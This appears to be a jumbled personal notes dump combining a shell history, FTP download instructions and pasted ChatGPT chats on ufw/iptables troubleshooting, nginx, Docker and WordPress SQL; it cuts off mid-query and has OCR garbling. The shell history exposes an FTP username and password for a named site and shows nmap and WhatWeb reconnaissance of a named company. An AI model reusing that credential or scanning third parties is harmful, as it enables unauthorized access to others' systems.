Alternatively, you can use lftp, which is available for Windows as well as Linux.
Using lftp (Linux/macOS/Windows)
lftp is a more powerful FTP client that supports recursive downloading.
Step 1: Install lftp
Ubuntu/Debian:
sudo apt-get install lftpmacOS (with Homebrew):
brew install lftpStep 2: Download Directory Recursively
Use the following commands:
lftp ftp://username:password@ftp.example.comOnce connected, use the mirror command to download the entire directory:
mirror /path/to/remote/folder /path/to/local/folder
Example:
bash
mirror /files/ /local/downloads/Step 3: Exit
To disconnect from the FTP server, use the exit command.
WhatWeb is a next generation web scanner.
WhatWeb recognises web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices.
WhatWeb has over 1800 plugins, each to recognise something different. WhatWeb also identifies version numbers, email addresses, account IDs, web framework modules, SQL errors, and more.
2024-09-24 09:41:51wget -r --ftp-user=nyumbas3 --ftp-password=-QYi0ed58S]Ky8 ftp://nyumbasafi.co.ke/public_html 1140 2024-09-24 09:42:21ping nyumbasafi.co.ke 1141 2024-09-24 09:43:31cd /opt/main/ 1142 2024-09-24 09:43:34nano Tech.md 1143 2024-09-24 09:43:46clear 1144 2024-09-24 09:43:54cd ../job/ 1145 2024-09-24 09:43:58ls nyumbasafidecor.co.ke/ 1146 2024-09-24 09:44:00ls nyumbasafidecor.co.ke/public_html/ 1147 2024-09-24 09:44:03clear 1148 2024-09-24 09:44:33curl orange.tw 1149 2024-09-24 10:05:03clear 1150 2024-09-24 10:06:34cd ../ 1151 2024-09-24 10:06:37cd main/ 1152 2024-09-24 10:08:29cd /opt/main/ 1153 2024-09-24 10:08:36curl -I https://www.craftsilicon.com/ 1154 2024-09-24 10:09:06nano /root/linuxtoolbox/mybash/.bashrc 1155 2024-09-24 10:09:29clear 1156 2024-09-24 10:09:34curl -I https://www.craftsilicon.com/ 1157 2024-09-24 10:10:25wget --server-response --spider https://www.craftsilicon.com 1158 2024-09-24 10:06:41nano Tech.md 1159 2024-09-24 10:10:52clear 1160 2024-09-24 10:12:04whatweb 1161 2024-09-24 10:12:08clear 1162 2024-09-24 10:11:26nmap -sV -O craftsilicon.com 1163 2024-09-24 10:13:28whatweb https://www.craftsilicon.com
https://imageresizer.online/https://cloudconvert.com/jpg-to-webp https://cloudconvert.com/jpg-to-webp
ChatGPT said:
ChatGPT
To copy a file to an FTP server using the wget command or FTP, you can use either method based on what your FTP server supports. Below are steps for both wget and ftp methods.
- Using wget to Upload a File to an FTP Server
wget can upload files to an FTP server using the following syntax:
wget --ftp-user=your_username --ftp-password=your_password ftp://your_ftp_server_address/path_on_ftp_server/ --method=PUT file_to_upload
Example:
bash
wget --ftp-user=ftpuser --ftp-password=ftppassword ftp://ftp.example.com/public_html/uploads/ --method=PUT /path/to/local/file.txt
Explanation:
Replace ftpuser with your FTP username.
Replace ftppassword with your FTP password.
Replace ftp.example.com with the FTP server’s address.
Replace /public_html/uploads/ with the destination folder path on the FTP server.
Replace /path/to/local/file.txt with the full path to the file you want to upload.
all the history
Tell me right now is iptables and ufw related or each is on its own.why does making ufw rules seem to change iptables
ChatGPT said:
ChatGPT
Yes, UFW (Uncomplicated Firewall) and iptables are related.
iptables is the underlying firewall tool in Linux that manages network traffic rules at a low level, configuring rules for packet filtering, network address translation, and more.
UFW is a frontend for iptables designed to simplify its usage by providing a more user-friendly command set. When you create rules with UFW, it translates those rules into iptables commands and modifies the
iptables rules accordingly.
So, when you configure UFW rules, you're indirectly modifying the iptables rules because UFW manages the iptables on your behalf.
You said:
So tell me how i will use ufw to set rules to allow external ssh into the machine and not be able to access port 80 externally
ChatGPT said:
ChatGPT
To configure UFW to allow external SSH access and block access to port 80 (HTTP) from external sources, you can follow these steps:
Allow SSH (port 22): This will permit external SSH connections to the machine.
sudo ufw allow sshOr specify the port explicitly:
sudo ufw allow 22/tcp
Deny access to port 80 (HTTP): To block external access to port 80, use:sudo ufw deny 80/tcp
This will prevent external HTTP traffic from reaching your machine.Check the rules: Verify the rules to make sure they are applied correctly.
bash
sudo ufw status
Enable UFW: If UFW is not already enabled, activate it with:
sudo ufw enable
Summary:
SSH (port 22) is allowed for external access.
HTTP (port 80) is blocked for external access.
This configuration ensures that your machine can be accessed via SSH from external sources but not through port 80.You said:
It is not working as so.there is iptables installed so advice accordingly input forward output is accept drop accept respectively for iptables
ChatGPT said:
ChatGPT
Since you have iptables already in use, and UFW is a frontend for iptables, the issue may arise from the existing iptables rules. By default, UFW manages its own set of rules using iptables, but if custom iptables rules are already in place, they can conflict or override UFW settings. Since your iptables policies are set to ACCEPT, UFW might not behave as expected.
Two approaches you can take:
Manage everything through UFW (recommended if possible): This simplifies the setup, as UFW handles iptables rules behind the scenes.
Mix UFW and custom iptables rules (requires careful management): You may need to modify iptables manually while using UFW for some rules.
Option 1: Managing everything through UFW
First, flush the existing iptables rules to remove any conflicts:
sudo iptables -F
sudo iptables -X
sudo iptables -Z
This clears all existing iptables rules.Next, reset UFW to ensure it's working correctly:
sudo ufw resetNow, add the rules again in UFW:
Allow SSH (port 22):
sudo ufw allow 22/tcp
Deny HTTP (port 80):
bash
sudo ufw deny 80/tcp
Enable UFW:sudo ufw enable
Check the UFW status:sudo ufw status verbose
This will configure UFW correctly and ensure that iptables follows UFW rules since there are no conflicting iptables rules left.Option 2: Managing both UFW and iptables manually
Since the default iptables policy for INPUT is ACCEPT, your UFW rules might be overridden. You need to modify iptables to complement UFW:
Manually add iptables rules:
Allow SSH:
bash
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
Block port 80:
sudo iptables -A INPUT -p tcp --dport 80 -j DROPCombine with UFW:
Let UFW manage any other rules as needed. Just ensure iptables doesn’t override them.
Check current iptables rules:
sudo iptables -L -vThis will show the currently active iptables rules and allow you to verify that both UFW and iptables are working together properly.
You said:
Iptables without ufw works very well.what does apt purge do
ChatGPT said:
ChatGPT
The command apt purge is used in Linux (specifically in Debian-based distributions like Ubuntu) to remove a package along with its configuration files.
apt remove [package]: This removes the package but keeps its configuration files (in case you want to reinstall it later).
apt purge [package]: This removes the package and its associated configuration files, essentially doing a more thorough cleanup than apt remove.
In your case, if you run:
bash
sudo apt purge ufw
It will remove UFW and delete all its associated configuration files from the system, making sure that no residual configurations interfere with your manual iptables setup.
Summary:
apt remove: Removes the package but leaves configuration files behind.
apt purge: Removes both the package and its configuration files, giving you a cleaner system.
roblem with ubuntu machine even when the service is running and i have disabled ufw but still i can ssh into the machine and all even port 80 states it is filtered too Starting Nmap 7.945VN (https://nmap.org) at 2024-10-14 10:30 EAT Nnap scan report for developer (192.168.1.161)
Host is UPN 98
PORT STATE SERVICE
22/tcp filtered ssh
Neap done: 1 IP address (1 host up) scanned in 8.56 seconds (Mon Oct 14 09:20:28 AM EAT 2024]root@Z3r053C)-[/home/user] 【ZERODIUM] #nmap -ST -Pn 192.168.1.161 -p22 Starting Nmap 7.945VN (https://nmap.org) at 2024-10-14 10:31 EAT Nnap scan report for developer (192.168.1.161)
Host is up.
PORT STATE SERVICE 22/tcp filtered ssh
Neap done: 1 IP address (1 host up) scanned in 5.55 seconds [Mon Oct 14 09:20:20 AM EAT 2024) root@Z3r053C)-(/home/user] [ZERODIUM]
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nmap -ST-Pn 192.168.1.. ChatGPT said: ChatGPT It looks like you're experiencing an issue where ports, specifically SSH (port 22) and potentially others (like port 80), are being reported as "filtered" in your Nmap scans, even though you've disabled ufw (the firewall), and the services seem to be running. Here's a troubleshooting guide to help resolve this:
- Check if SSH Service is Running Properly Verify that the SSH service is up and running on your machine:
sudo systemctl status sshIf it's not running, start it:
sudo systemctl start ssh- Check Port Binding
Ensure that SSH (port 22) and other services (like HTTP on port 80) are actually bound to the correct ports. You can check this using netstat or ss:
sudo netstat -tuln | grep ':22'or
sudo ss -tuln | grep ':22'This will tell you if SSH is listening on port 22.
- Check for Firewalls Beyond UFW
Even though you disabled ufw, there might be other firewall services like iptables blocking the ports. Check the rules using:
sudo iptables -LIf you find blocking rules, you can clear them with:
sudo iptables -F- Check Host-based Firewalls
In some cases, cloud or VM providers (like AWS, DigitalOcean, etc.) might have their own firewalls (security groups) that block certain ports. If you're using a cloud provider, make sure that the relevant
ports (e.g., 22 for SSH, 80 for HTTP) are allowed in the firewall/security settings of the provider.
- Check hosts.allow and hosts.deny
If the /etc/hosts.allow or /etc/hosts.deny files are configured to block certain IPs or services, this could explain the filtered ports. Review these files for any rules that could be causing the issue:
sudo cat /etc/hosts.allow
sudo cat /etc/hosts.deny- Check Network Settings
If you're on a private network, network equipment like routers or switches may have filtering rules or access control lists (ACLs) that block access to certain ports. Check your router or switch settings to see if this is the case.
- Disable SELinux or AppArmor (if applicable) If you're using SELinux or AppArmor, they could be enforcing security policies that block certain ports. To temporarily disable AppArmor:
sudo systemctl stop apparmorFor SELinux, you can check its status:
sudo getenforceIf it's enforcing, you can disable it by editing the /etc/selinux/config file and setting SELINUX=disabled, then reboot the system.
- Check Logs Review logs for any errors related to SSH or port filtering:
sudo journalctl -xe | grep ssh
sudo tail -f /var/log/auth.log- Verify IP Address
Ensure that you're scanning the correct IP address. Sometimes, network configurations change, and the machine's IP may have been updated.
- Restart Services
If the issue persists, try restarting the network services and SSH:
sudo systemctl restart networking
sudo systemctl restart sshBy following these steps, you should be able to isolate the issue and resolve the port filtering problem. Let me know how it goes or if you need further assistance!
You said:
I have stoped apparmor but still the port is filtered and the hosts file is this simple der hosts, bind
coot@developer:/home/emilio# cat /etc/hosts
ulti on
localhost
$27.0.0.1 developer
$27.0.0.1
The following lines are desirable for IPv6 capable hosts
1 ip6-localhost ip6-100pback
$200::0 1p6-localnet
f00::0 1p6-mcastprefix
f02::1 ip6-allnodes
F02::2 1p6-allrouters
coot@developer:/home/emilio#
ChatGPT said:
ChatGPT
It seems like there may be a configuration or network-level issue affecting your ability to connect over SSH and with other services despite stopping AppArmor. Given the current state, let's go over a few more advanced troubleshooting steps:
- Verify the Hosts File Syntax The contents of your /etc/hosts file appear to have some syntax issues or formatting errors (e.g., missing spaces, improper use of $ instead of 127.0.0.1). Let's correct it and see if that helps:
Open the file for editing:
sudo nano /etc/hostsReplace the contents with a properly formatted version:
plaintext
127.0.0.1 localhost 127.0.0.1 developer
::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters Save the file and exit (Ctrl + O, Enter, Ctrl + X).
- Check Port 22 Access with ss or netstat Double-check if SSH is listening on port 22 after restarting the service, to confirm that there are no binding issues:
sudo ss -tuln | grep 22You should see output like:
plaintext
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
If nothing shows up, try restarting the SSH service:
sudo systemctl restart ssh- Check iptables for Rules
Even though you disabled AppArmor and UFW, iptables might still be blocking the port. List all the current rules:
sudo iptables -L -n -vIf you see rules that block port 22 or other services, you can flush the rules:
sudo iptables -F- Check SSH Configuration (sshd_config)
Ensure that the SSH daemon is properly configured to listen on port 22 by checking the configuration file:
sudo nano /etc/ssh/sshd_configLook for the following line:
plaintext
Port 22 If it's commented out (#), remove the comment. If you've customized the port, ensure that it's not conflicting with other services. After making changes, restart SSH:
sudo systemctl restart ssh- Use TCPDump to Diagnose Network Issues
Use tcpdump to verify if traffic on port 22 is actually reaching your machine:
sudo tcpdump -i any port 22Try SSHing into the machine from another host while tcpdump is running. If no packets appear, the traffic is likely being blocked before it reaches your machine (e.g., by a router or firewall outside the machine).
- Investigate Network-Level Firewalls
If the issue persists, check whether there are any firewalls at the network level (router, switch, or cloud security groups) that might be filtering traffic to port 22 or port 80. If you're using a cloud service, ensure that security groups or firewall settings permit traffic on the necessary ports.
- Check for Other Security Modules Although AppArmor is stopped, check if other security modules like SELinux are active. If SELinux is enforcing rules, you can check its status:
sudo getenforceIf it is enforcing, you can temporarily set it to permissive mode:
sudo setenforce 0- Test SSH Locally
Try connecting to SSH locally to confirm that the service itself is working:
ssh localhostYou said:
This looks like a very serius systemwide problem for every service.i can access from the machine itself but cannot send any info outside look at this CGroup: /system.slice/apache2.service 18690 /usr/sbin/ apache2 -k start
- Verify Apache is Listening on All Interfaces
Make sure Apache is not just bound to the loopback interface (localhost). It should listen on all available interfaces, including the external IP address (192.168.1.161).
Check the Apache configuration file for the Listen directive:
sudo nano /etc/apache2/ports.confEnsure you have the following line:
plaintext
Listen 80 If there is something like Listen 127.0.0.1:80, this would restrict Apache to only accept connections from localhost. Make sure the IP binding is open to all by having Listen 80. Then restart Apache:
sudo systemctl restart apache2- Double-Check Firewall Status
Even though you've disabled UFW, verify that no other firewall rules are in place that might be affecting the traffic. Run the following commands to make sure UFW is disabled and iptables is clear:
sudo ufw status
sudo iptables -L -n -vIf there are any lingering rules in iptables, you can clear them temporarily for testing:
sudo iptables -F- Check Apache Logs for Errors
The message AH00558: apache2: Could not reliably determine the server's fully qualified domain name is a common warning. It suggests that Apache could not resolve the server’s domain name, but this shouldn’t block access. However, you can address it by setting ServerName in the Apache configuration file:
sudo nano /etc/apache2/apache2.confAdd this line at the bottom:
plaintext
ServerName 192.168.1.161
Restart Apache after making this change:
sudo systemctl restart apache2Additionally, check for any errors in Apache’s error log:
sudo tail -f /var/log/apache2/error.log- Check Network Configuration Since you can access services from the machine itself but not from other devices, the network configuration may be misconfigured or blocked. Verify your machine’s network settings:
Check IP Address: Make sure the machine has the correct IP address:
ip aEnsure that the IP is correctly configured as 192.168.1.161 and that your network interface is active.
Check Network Routing: Ensure that the machine can route traffic correctly by inspecting the routing table:
ip routeYou should see a route for the 192.168.1.0/24 network. If this is missing, there could be routing issues preventing communication.
Check Gateway: Verify that your default gateway is correctly set, allowing traffic to exit the machine:
ip route | grep defaultCheck DNS Resolution: Although your Apache page is accessed via IP, if DNS is not configured correctly, other services might still fail. Test if DNS works by pinging an external site:
ping google.com- Use tcpdump to Monitor Incoming Traffic
Run tcpdump to monitor if any traffic is coming to your server on port 80 or 22 from another machine. This will help you verify whether packets are reaching your machine:
sudo tcpdump -i any port 80 or port 22From another computer, try to access the Apache page (http://192.168.1.161) or SSH into the machine. If you see no packets arriving, the problem might be on the network level (e.g., a router or switch blocking traffic).
- Check Network Hardware and External Firewall
If all your system configurations seem correct, the problem may lie outside the machine:
Router/Switch: Ensure that there are no firewall rules or configurations in your router or switch that are blocking port 80 (HTTP) or port 22 (SSH).
External Firewall: If you're working in a corporate or cloud environment, there may be external firewall rules in place that filter traffic to your machine.
NAT: If you’re behind a NAT (Network Address Translation) device, ensure that port forwarding is correctly configured for external access.
- Use nmap from Another Machine
From another machine on the network, try scanning the ports on your server to see if they are open or filtered:
nmap -Pn 192.168.1.161If port 80 or 22 still shows up as filtered, this further confirms a network or firewall issue.
- Restart Network Services
Restarting the network services on your machine might help in resetting any potentially misconfigured settings:
sudo systemctl restart networkingBy following these steps, you should be able to identify whether the issue is with your machine’s internal configuration or something external on the network. Let me know what you discover!
The iptables output you provided indicates that the FORWARD chain is set to DROP by default, meaning any traffic that is forwarded (typically traffic between different interfaces or between Docker containers)
will be blocked unless explicitly allowed. This could explain why your services, like Apache or SSH, are not reachable from external machines.
Additionally, there are Docker-related chains (e.g., DOCKER, DOCKER-ISOLATION-STAGE-1, DOCKER-ISOLATION-STAGE-2, and DOCKER-USER) in your iptables rules. Docker often adds its own rules to manage container networking, which can sometimes interfere with other services on the machine.
Steps to address the issue:
- Check FORWARD Policy Since the FORWARD policy is set to DROP, try allowing forwarding by setting the default policy to ACCEPT:
sudo iptables -P FORWARD ACCEPTThis should allow packets to be forwarded between interfaces, which might fix your issue if Docker networking or routing is involved.
- Check Docker Networking
Docker can modify your network settings and iptables rules. If you're not using Docker for this specific setup, you might want to stop Docker and see if the issue persists:
sudo systemctl stop dockerThen, restart your network services:
sudo systemctl restart networkingAfter doing this, try accessing your services from an external machine again. If stopping Docker solves the issue, it indicates that Docker’s network isolation was causing interference.
- Review Docker Firewall Rules
If Docker is needed, you may need to adjust its iptables rules. For example, you can configure Docker not to manipulate iptables by adding the following option to /etc/docker/daemon.json:
{
"iptables": false
}After making this change, restart Docker:
sudo systemctl restart dockerThis will stop Docker from modifying the iptables rules, which might resolve conflicts with your host system.
- Flush iptables Rules for Testing
If you're still experiencing issues, try flushing all the iptables rules temporarily to see if this resolves the problem:
sudo iptables -FThen, restart your network services:
sudo systemctl restart networkingThis will remove all existing firewall rules and allow you to test whether the issue lies in the firewall configuration.
- Check Service Binding
After adjusting the firewall, ensure that services like Apache and SSH are binding to all interfaces, not just the local loopback (127.0.0.1). You can use the following command to check:
sudo netstat -tuln | grep -E '22|80'You should see lines indicating that both ports 22 (SSH) and 80 (HTTP) are listening on 0.0.0.0, meaning they are accepting connections from any interface.
Try these steps and let me know if you can access the services from external machines!
You said:
I fixed it but when i start ufw again the ports become filtered again.i dont want to stop the ufw firewall and leave the computer unsecured.teach me how to set rules using ufw to allow traffic from ports
ChatGPT said:
ChatGPT
Great to hear that you fixed the issue! Now, let's configure UFW (Uncomplicated Firewall) to allow traffic on specific ports while keeping your system secure.
Basic UFW Rules for Opening Ports
To allow traffic on specific ports, you need to define rules in UFW. Here's how you can do it:
- Allow SSH (Port 22)
To ensure you can always access the machine via SSH:
sudo ufw allow sshor
sudo ufw allow 22/tcp- Allow HTTP (Port 80)
For a web server running on Apache or Nginx, you'll want to allow traffic on port 80:
sudo ufw allow httpor
sudo ufw allow 80/tcp- Allow HTTPS (Port 443)
If your server uses HTTPS, you need to allow traffic on port 443:
sudo ufw allow httpsor
sudo ufw allow 443/tcp- Allow Other Custom Ports
For any other ports you want to open, use the following syntax:
sudo ufw allow <port_number>/tcpFor example, to allow traffic on port 8080 (common for alternative web services):
sudo ufw allow 8080/tcp- Allow Specific IP Addresses
If you want to restrict access to certain ports to specific IP addresses, you can specify the source IP:
sudo ufw allow from <source_ip> to any port <port_number>/tcpFor example, if you want to allow SSH (port 22) access only from the IP 192.168.1.100:
sudo ufw allow from 192.168.1.100 to any port 22/tcp- Allow a Range of Ports
If you want to allow a range of ports, you can specify the start and end of the range:
sudo ufw allow 10000:20000/tcpThis example allows traffic on ports from 10000 to 20000 using TCP.
- Allow Specific Services by Name
You can also allow services by their service names if UFW recognizes them (such as Apache Full):
sudo ufw allow 'Apache Full'This opens both port 80 and 443 (HTTP and HTTPS) for web traffic.
Checking UFW Status and Rules
After adding the rules, check the current status of UFW and see the list of active rules:
sudo ufw status verbose
Enabling UFWIf UFW is disabled, you can enable it (this won’t affect your current rules):
sudo ufw enable
Denying Ports (Optional)If there are specific ports you want to deny (just in case), you can block them explicitly:
bash
sudo ufw deny <port_number>/tcp
Reload UFW to Apply Changes
After making all changes, reload UFW to ensure they take effect:
sudo ufw reloadExample: Opening SSH and HTTP Ports
Let’s say you want to open ports 22 (SSH) and 80 (HTTP). Here’s what you would do:
sudo ufw allow ssh
sudo ufw allow http
sudo ufw reloadWith these steps, your system should remain secure with UFW enabled while still allowing access to the required services. Let me know if you need help with specific configurations!
Why is it i can allow the port but when i scan it lists as filtered
When a port shows as filtered in a scan (like with nmap), it typically means that the firewall is actively blocking or filtering the port. Even though you’ve allowed it in UFW, there could be other reasons why it's still listed as filtered:
- Multiple Firewalls Active
UFW might not be the only firewall running. If there is another firewall service (like iptables or firewalld) running on the system, it may override UFW's rules.
Solution: Ensure that UFW is the only active firewall. Check for other firewall services:
sudo systemctl status iptables
sudo systemctl status firewalldIf other firewalls are active, consider disabling them or ensuring their rules are configured correctly.
- UFW Default Policy
UFW's default policy for incoming connections might still be set to deny or reject, causing ports to show up as filtered.
Solution: Check and adjust the default UFW policy:
sudo ufw status verboseIf it shows Default: deny (incoming), make sure you've explicitly allowed the desired ports (e.g., SSH, HTTP):
sudo ufw allow 22/tcp
sudo ufw allow 80/tcp- Service Not Bound to the Correct Interface or IP Address
The service running on the port might only be bound to localhost (127.0.0.1) or a specific network interface, not to your server’s public or private IP address.
Solution: Check if the service is properly configured to listen on all interfaces. For instance, if Apache is using Listen 127.0.0.1:80, change it to Listen 0.0.0.0:80 in the config file (/etc/apache2/ports.conf for Apache):
sudo nano /etc/apache2/ports.confEnsure it's bound to the correct address, then restart the service:
sudo systemctl restart apache2- ISP or Router Blocking
Your Internet Service Provider (ISP) or router may be filtering certain ports by default (like port 22 for SSH or port 80 for HTTP). Solution: Check your router settings to see if there's any port blocking or filtering. Also, contact your ISP if you suspect they are filtering traffic on specific ports.
- Misconfigured UFW Rules
There may be conflicting UFW rules causing the port to appear filtered, such as rules that deny traffic on the port or more specific rules overriding the broader allow rule. Solution: List all active UFW rules and check for conflicts:
sudo ufw status numberedIf you find conflicting rules, you can delete the problematic ones:
sudo ufw delete <rule_number>- NAT or Proxy
If your machine is behind a NAT (Network Address Translation) or proxy, port forwarding may not be configured correctly, causing the port to appear filtered.
Solution: Ensure your router or proxy is properly forwarding traffic to the machine and that the correct IP is used during scanning.
- UFW Logging
UFW might not give enough feedback on what’s happening. Enable logging to get more information:
sudo ufw logging onCheck /var/log/ufw.log for clues on why connections might still be filtered.
- Check Iptables Rules
If UFW rules are not working as expected, check if there are conflicting iptables rules:
sudo iptables -L -n -vLook for rules that might be blocking traffic.
- Check the Port State on the Server Itself
To see if the port is open and listening on your machine, run the following:
sudo netstat -tuln | grep <port_number>Replace <port_number> with the port you’re trying to scan (e.g., 22 or 80). This will show if the service is correctly listening.
If the port is still showing as filtered after following these steps, it suggests there might be more specific filtering happening either at the network or service level. Let me know if you'd like to dig deeper into any of these steps!
How to delete all those ufw rules numbered
To delete all numbered UFW rules at once, follow these steps:
- List Current UFW Rules
First, check the list of currently active UFW rules with their corresponding numbers:
sudo ufw status numberedThis will display a list of rules with numbers, such as:
bash
[ 1] Allow 22/tcp [ 2] Allow 80/tcp ... 2. Delete All Rules One by One
Unfortunately, UFW does not support a bulk deletion command directly. You'll need to delete each rule by its number. Here’s how to do it for each rule:
Start by running the following command to delete a rule by its number (replace with the actual rule number):
``bash
sudo ufw delete
For example:
```bash
sudo ufw delete 1
After each deletion, the numbering will shift, so if you delete rule 1, the next rule becomes the new rule 1. Therefore, always delete rule 1 repeatedly to remove all rules:
sudo ufw delete 1
sudo ufw delete 1
sudo ufw delete 1... 3. Reset UFW to Default Settings
If you want to delete all rules at once and start fresh, you can reset UFW:
sudo ufw resetThis will remove all rules and set UFW back to its default state (with default policies and no rules).
- Verify No Rules Exist
After deleting or resetting the rules, you can check the status to ensure no rules remain:
sudo ufw statusYou should see something like:
Status: inactive
Iptables show some many more stuff how do i delete its all rules since iptables -F flushes but stilll iptables -L -n -v shows alot of stuff still
Flushing rules with iptables -F only clears the rules in the current chains, but it doesn’t affect other elements like custom chains, or the rules for NAT, mangle, and raw tables. Here's a comprehensive way to
delete all the iptables rules, including chains, and ensure that all elements are fully cleared.
- Flush All Chains
First, flush all the chains (rules) in the default tables:
sudo iptables -F
sudo iptables -t nat -F
sudo iptables -t mangle -F
sudo iptables -t raw -F- Delete Custom Chains
Next, delete all user-defined (custom) chains:
sudo iptables -X
sudo iptables -t nat -X
sudo iptables -t mangle -X
sudo iptables -t raw -X- Clear Any Remaining Rules or Counters
To ensure that counters (packet/byte counts) are reset, run:
sudo iptables -Z
sudo iptables -t nat -Z
sudo iptables -t mangle -Z
sudo iptables -t raw -Z- Set Default Policies to ACCEPT
After flushing and deleting everything, make sure the default policies are set to ACCEPT to allow all traffic:
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT- Check All Tables and Chains
Finally, verify that everything has been cleared:
sudo iptables -L -n -v
sudo iptables -t nat -L -n -v
sudo iptables -t mangle -L -n -v
sudo iptables -t raw -L -n -vYou should now see clean output, or only the default chains without any additional rules or custom chains.
Let me know if this solves the problem!
You said:
I have got the issue.when i do ufw enable after setting all those rules it seems that the ufw was disabled and when it comes back on it creates a bunch of rules that bring in the filtering so how is this
ChatGPT said:
ChatGPT
What you're experiencing happens because UFW (Uncomplicated Firewall) manages its own set of rules, which it applies when you enable it. When UFW is disabled, it doesn’t apply those rules, and iptables might remain clear. However, once you enable UFW again, it reloads its predefined rules and possibly interferes with the custom rules you’ve set, causing issues like filtered ports.
Why This Happens:
UFW acts as a frontend for iptables, and when you enable it, it automatically configures iptables with rules based on its own configuration files.
Even if you add rules manually to iptables, UFW will overwrite or add new rules when it is enabled, causing the port filtering you're seeing.
How to Fix This:
You can modify UFW's configuration directly so that its rules don’t conflict with your custom setup or ensure that the correct rules persist when UFW is enabled.
Steps to Fix the Issue:
Reset UFW to Default Settings: Reset UFW to start fresh and avoid any conflicting rules:
bash
sudo ufw reset
Set UFW Default Policies: Set UFW's default policy to allow incoming traffic or allow specific ports before enabling:
sudo ufw default allow incoming
sudo ufw default allow outgoingIf you want to set more restrictive policies:
sudo ufw default deny incoming
sudo ufw default allow outgoingAllow Specific Ports or Services: Explicitly allow the ports or services you need:
sudo ufw allow 22/tcp # Allow SSH
sudo ufw allow 80/tcp # Allow HTTP
sudo ufw allow 443/tcp # Allow HTTPS
sudo ufw allow 8080/tcp # Allow custom portsEnable UFW: Now, enable UFW with your new rules:
sudo ufw enableCheck UFW Status: Confirm the rules and their statuses:
sudo ufw status verboseConfigure UFW to Avoid Overriding Iptables Rules: If you’ve set custom iptables rules and want UFW to coexist with them:
You may need to modify UFW’s before.rules and before6.rules files to ensure it does not interfere with your iptables settings. Edit UFW's rules file:
sudo nano /etc/ufw/before.rulesAdd your custom iptables rules above the COMMIT line in this file. This will ensure UFW applies your rules before it sets its own.
Disable UFW Logging (Optional): If UFW's logging is causing issues or clutter, you can reduce or disable logging:
sudo ufw logging offFinal Steps:
After setting the correct UFW rules, you can now re-enable the firewall, and it should no longer cause port filtering issues for the services you’ve allowed.
You said:
Those custom iptbales rules i add like iptables -P FORWARD ACCEPT inside the file btingsan error when i reload ufw reload
ChatGPT said:
ChatGPT
The error you're encountering happens because UFW expects specific syntax in its configuration files, and it does not directly support certain iptables commands like iptables -P FORWARD ACCEPT inside its rules files. UFW manages its own iptables rules and configurations, so direct commands like changing the default policies for chains (e.g., FORWARD, INPUT, OUTPUT) can conflict with how UFW is structured.
Why UFW Throws Errors with Custom Iptables Policies:
UFW expects rules to follow its own internal structure (e.g., specifying rules for specific ports or IPs).
Commands like iptables -P FORWARD ACCEPT modify default policies, which UFW does not handle directly.
UFW manages policies and rules through its configuration files, and custom iptables rules must be carefully integrated.
Workaround to Integrate Custom iptables Rules with UFW:
You can’t place commands like iptables -P FORWARD ACCEPT directly into the UFW rule files (before.rules, after.rules). Instead, you need to manage these rules separately, outside of UFW, or modify UFW to accommodate certain types of rules.
Here’s the approach:
- Create a Custom iptables Script for Custom Rules Instead of embedding iptables -P FORWARD ACCEPT in UFW files, create a script to apply custom iptables rules after UFW has been loaded.
Create a custom shell script to run your iptables rules:
sudo nano /etc/iptables-custom-rules.shAdd your custom iptables rules to this script:
#!/bin/bash
# Custom iptables rules
iptables -P FORWARD ACCEPT
# Add other custom rules here...Make the script executable:
sudo chmod +x /etc/iptables-custom-rules.sh- Ensure Custom iptables Rules Run After UFW Loads
To ensure these custom rules load after UFW, you can use a systemd service or call the script on boot.
Here’s how to create a systemd service for the script:
Create a new systemd service:
sudo nano /etc/systemd/system/iptables-custom-rules.serviceAdd the following content to make the script run after UFW:
ini
[Unit]
Description=Custom iptables rules after UFW
After=ufw.service
[Service]
Type=oneshot
ExecStart=/etc/iptables-custom-rules.sh
[Install]
WantedBy=multi-user.target
Reload systemd and enable the service:
sudo systemctl daemon-reload
sudo systemctl enable iptables-custom-rules.service
sudo systemctl start iptables-custom-rules.service- Check if Rules Are Applied Correctly
After rebooting or restarting UFW, your custom rules should be applied after UFW rules.
Verify by checking the iptables rules:
sudo iptables -L -n -v- Alternative: Modify UFW Default Behavior
If you're using UFW but still need to tweak certain behaviors (like default policies), you can try using UFW's built-in commands.
To allow forwarding specifically in UFW (as a workaround for the iptables -P FORWARD ACCEPT):
sudo ufw default allow routedThis allows forwarding traffic without needing to directly modify iptables' default policies.
By using a combination of UFW for simpler firewall management and a custom script for advanced iptables policies, you can have more control over your firewall setup without directly conflicting with UFW.
Let me know if this solution works for you!
apt install --reinstall nginx-core
sudo apt purge nginx nginx-common nginx-core
sudo rm -rf /etc/nginx
sudo rm -rf /var/lib/nginx
systemctl list-units --type=service | grep nginx
sudo lsof -i :80
sudo rm -rf /etc/nginx
sudo rm -rf /var/lib/nginx
Check if Docker is running: Ensure that the Docker daemon is running. You can check its status with the following command:
bash
sudo systemctl status docker
If it's not running, start it with:
bash
sudo systemctl start docker
Check Docker socket permissions: If Docker is running but you're still getting the error, it might be a permissions issue. Ensure your user is part of the docker group:
bash
sudo usermod -aG docker $USER
After running this command, log out and back in, or restart your terminal for the changes to take effect.
Verify Docker installation: Make sure Docker is correctly installed. You can check the version with:
docker --versionIf Docker is not installed, you can install it using the following commands (for Debian-based systems):
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.ioCheck Docker Compose installation: Make sure Docker Compose is installed correctly. You can check its version with:
docker-compose --versionIf it’s not installed, follow the installation instructions from the Docker Compose documentation.
Reboot your system: Sometimes a simple system reboot can resolve connectivity issues with Docker.
After going through these steps, try running your docker-compose command again. If the issue persists, let me know!
sql query to change id of a user
To change the user ID of a user in a WordPress database, you can use an SQL query. However, it's important to note that changing the user ID can lead to issues, especially if there are references to that user ID in other tables (like posts or comments).
Here’s a general approach to update the user ID:
Step 1: Identify the Current and New User IDs Decide which user you want to change and what the new ID should be. Make sure the new ID does not already exist in the wp_users table.
Step 2: Run the SQL Query
You can run the following SQL query in phpMyAdmin or any SQL client connected to your WordPress database:
UPDATE wp_users
SET ID = new_user_id
WHERE ID = old_user_id;Example
If you want to change the user ID from 2 to 5, the query would look like this:
UPDATE wp_users
